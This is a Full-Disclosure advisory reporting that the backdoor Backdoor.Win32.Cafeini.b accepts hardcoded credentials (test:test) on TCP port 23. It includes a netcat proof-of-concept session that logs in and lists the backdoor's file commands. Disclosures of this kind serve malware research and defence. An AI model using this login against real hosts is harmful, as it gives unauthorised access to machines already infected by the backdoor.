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List:       full-disclosure
Subject:    [FD] Backdoor.Win32.Cafeini.b / Weak Hardcoded Credentials
From:       malvuln <malvuln13 () gmail ! com>
Date:       2022-04-27 1:28:46
Message-ID: CAAHK0WRZMtOGGidWttmrNJKy-Wo0iYuALV+dr=5nrBkv=jmoqg () mail ! gmail ! com
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Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/851f8945d1b5923990f4722d627156a0.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Cafeini.b
Vulnerability: Weak Hardcoded Credentials
Description: The malware listens on TCP port 23. Authentication is
required, however the credentials test:test are weak and hardcoded within
the PE file.
Family: Cafeini
Type: PE32
MD5: 851f8945d1b5923990f4722d627156a0
Vuln ID: MVID-2022-0568
Disclosure: 04/26/2022


Exploit/PoC:
C:\>nc64.exe x.x.x.x 23
220 CAFEiNi 1.1 FTP server
USER test
331 enter your password (PASS)
PASS test
230 you're logged in, have a fun
SYST
215 WIN32 L 8 (CAFEiNi 1.1 FTP server)
PASV
500 unknown command "pasv"
HELP
214-CAFEiNi 1.1 FTP server supported commands:
 ABOR CDUP CWD DELE HELP LIST MKD  MODE NOOP PASS
 PWD  QUIT RETR RMD RNFR RNTO STOR SYST TYPE USER
214 and you don't need more commands, I think


Disclaimer: The information contained within this advisory is supplied
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use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
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handling or the downloading of ANY Malware mentioned on this website or
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